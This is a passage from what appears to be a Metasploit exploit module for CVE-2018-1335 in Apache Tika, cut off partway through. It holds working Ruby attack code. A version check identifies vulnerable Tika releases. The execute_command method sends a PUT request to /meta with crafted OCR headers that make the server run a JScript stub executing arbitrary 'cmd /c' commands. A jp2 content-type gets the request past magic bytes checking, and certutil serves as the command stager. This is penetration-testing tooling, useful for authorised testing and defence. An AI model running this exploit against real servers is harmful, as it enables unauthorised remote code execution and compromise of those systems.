A file with the image/jp2 content-type is used to bypass magic bytes checking. When OCR is specified in the request, parameters can be passed to change the parameters passed at command line to allow for arbitrary JScript to execute. A JScript stub is passed to execute arbitrary code. This module was verified against version 1.15 - 1.17 on Windows 2012. While the CVE and finding show more versions vulnerable, during testing it was determined only > 1.14 was exploitable due to jp2 support being added. }, 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => 'win', 'Targets' => [ ['Windows', {'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'win', 'CmdStagerFlavor' => ['certutil'] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 25 2018', 'Author' => [ 'h00die', # msf module 'David Yesland', # edb submission 'Tim Allison' # discovery ], 'References' => [ ['EDB', '46540'], ['URL', 'https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/'], ['URL', 'https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E'], ['CVE', '2018-1335'] ])) register_options( [ Opt::RPORT(9998), OptString.new('TARGETURI', [true, 'The base path to the web application', '/']) ]) register_advanced_options( [ OptBool.new('ForceExploit', [true, 'Override check result', false]) ]) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri), }) if res.nil? vprint_error('No server response, check configuration') return CheckCode::Safe elsif res.code != 200 vprint_error('No server response, check configuration') return CheckCode::Safe end if res.body =~ /Apache Tika (\d.[\d]+)/ version = Gem::Version.new($1) vprint_status("Apache Tika Version Detected: #{version}") if version.between?(Gem::Version.new('1.15'), Gem::Version.new('1.17')) return CheckCode::Vulnerable end end CheckCode::Safe end def execute_command(cmd, opts = {}) cmd.gsub(/"/, '\"') jscript="var oShell = WScript.CreateObject('WScript.Shell');\n" jscript << "var oExec = oShell.Exec(\"cmd /c #{cmd}\");" print_status("Sending PUT request to #{peer}#{normalize_uri(target_uri, 'meta')}") res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(target_uri, 'meta'), 'headers' => { "X-Tika-OCRTesseractPath" => '"cscript"', "X-Tika-OCRLanguage" => "//E:Jscript", "Expect" => "100-continue", "Content-type" => "image/jp2", "Connection" => "close"}, 'data' => jscript }) fail_with(Failure::Disconnected, 'No server response') unless res unless (res.code == 200 && res.body.include?('tika')) fail_with(Failure::UnexpectedReply, 'Invalid response received, target may not be vulnerable') end end def exploit checkcode = check unless checkcode == CheckCode::Vulnerable || datastore['ForceExploit'] print_error("#{checkcode[1]}.
